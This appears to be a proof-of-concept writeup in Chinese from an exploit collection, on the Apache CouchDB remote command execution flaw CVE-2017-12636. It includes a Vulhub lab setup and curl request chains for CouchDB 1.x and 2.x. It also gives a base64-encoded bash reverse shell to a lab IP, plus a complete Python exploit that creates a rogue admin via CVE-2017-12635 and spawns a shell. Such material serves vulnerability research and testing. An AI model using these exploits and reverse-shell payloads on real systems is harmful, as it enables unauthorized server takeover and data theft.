Awesome-POC/数据库漏洞/Apache CouchDB 任意命令执行漏洞 CVE-2017-12636.md
2024-11-06 14:10:36 +08:00

181 lines
6.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache CouchDB 任意命令执行漏洞 CVE-2017-12636
## 漏洞描述
Apache CouchDB是一个开源数据库专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式JavaScript作为查询语言MapReduce和HTTP作为API的NoSQL数据库。应用广泛如BBC用在其动态内容展示平台Credit Suisse用在其内部的商品部门的市场框架Meebo用在其社交平台web和应用程序
在2017年11月15日CVE-2017-12635和CVE-2017-12636披露CVE-2017-12636是一个任意命令执行漏洞我们可以通过config api修改couchdb的配置`query_server`这个配置项在设计、执行view的时候将被运行。
参考链接:
- http://bobao.360.cn/learning/detail/4716.html
- https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
## 漏洞影响
```
Couchdb 小于 1.7.0 以及 小于 2.1.1
```
## 环境搭建
Couchdb 2.x和和1.x的API接口有一定区别所以这个漏洞的利用方式也不同。本环境启动的是1.6.0版本如果你想测试2.1.0版本可以启动CVE-2017-12635附带的环境。
Vulhub执行如下命令启动Couchdb 1.6.0环境:
```
docker-compose up -d
```
启动完成后,访问`http://your-ip:5984/`即可看到Couchdb的欢迎页面。
## 漏洞复现
该漏洞是需要登录用户方可触发如果不知道目标管理员密码可以利用CVE-2017-12635先增加一个管理员用户。
### 1.6.0 下的说明
依次执行如下请求即可触发任意命令执行:
```
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
```
![image-20220222104917650](images/202202221049822.png)
其中,`vulhub:vulhub`为管理员账号密码。
第一个请求是添加一个名字为`cmd``query_servers`,其值为`"id >/tmp/success"`,这就是我们后面待执行的命令。
第二、三个请求是添加一个Database和Document这里添加了后面才能查询。
第四个请求就是在这个Database里进行查询因为我将language设置为`cmd`,这里就会用到我第一步里添加的名为`cmd``query_servers`,最后触发命令执行。
查看`/tmp/success`文件内容:
![image-20220222104941298](images/202202221049362.png)
### 2.1.0 下的说明
2.1.0中修改了上面用到的两个API这里需要详细说明一下。
Couchdb 2.x 引入了集群所以修改配置的API需要增加node name。这个其实也简单我们带上账号密码访问`/_membership`即可:
```
curl http://vulhub:vulhub@your-ip:5984/_membership
```
![image-20220222101400236](images/202202221014285.png)
可见我们这里只有一个node名字是`nonode@nohost`
然后,我们修改`nonode@nohost`的配置:
```
curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
```
![image-20220222101444275](images/202202221014315.png)
然后与1.6.0的利用方式相同我们先增加一个Database和一个Document
```
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
```
![image-20220222101810195](images/202202221018281.png)
Couchdb 2.x删除了`_temp_view`,所以我们为了触发`query_servers`中定义的命令,需要添加一个`_view`
```
curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"
```
增加`_view`的同时即触发了`query_servers`中的命令,`/tmp/success`文件夹被成功创建。
![image-20220222102002703](images/202202221020820.png)
### 1.6.0下反弹shell
curl 调用字符串需要用 `'``"`json 需要 `"`bash -c 的字符串需要 `'``"`,因此可以将反弹 shell 的语句写在文本shell.txt里面然后通过 curl 调用shell.txt。
```
$ vim shell.txt
文件内容:"bash -c '{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xNzQuMTI4Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}'"
```
依次执行如下请求即可触发反弹shell
```
# 第一步:-d参数读取本地文本文件的数据向服务器发送
curl -X PUT 'http://vulhub:vulhub@192.168.174.128:5984/_config/query_servers/cmd' -d '@shell.txt'
# 第二步添加Database
curl -X PUT 'http://vulhub:vulhub@192.168.174.128:5984/vultest'
# 第三步添加Document
curl -X PUT 'http://vulhub:vulhub@192.168.174.128:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
# 进行查询将language设置为cmd这里就会用到第一步里添加的名为cmd的query_servers最后触发命令执行
curl -X POST 'http://vulhub:vulhub@192.168.174.128:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
```
## 漏洞POC
1.6.0或2.1.0下反弹shell的poc
```python
#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth
target = 'http://192.168.174.128:5984'
command = rb"""sh -i >& /dev/tcp/192.168.174.128/9999 0>&1"""
# Change Version Here
version = 2
session = requests.session()
session.headers = {
'Content-Type': 'application/json'
}
# session.proxies = {
# 'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
"type": "user",
"name": "wooyun",
"roles": ["_admin"],
"roles": [],
"password": "wooyun"
}''')
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:
session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
host = session.get(target + '/_membership').json()['all_nodes'][0]
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))
session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
if version == 1:
session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
```
成功反弹shell
![image-20220222104008354](images/202202221040431.png)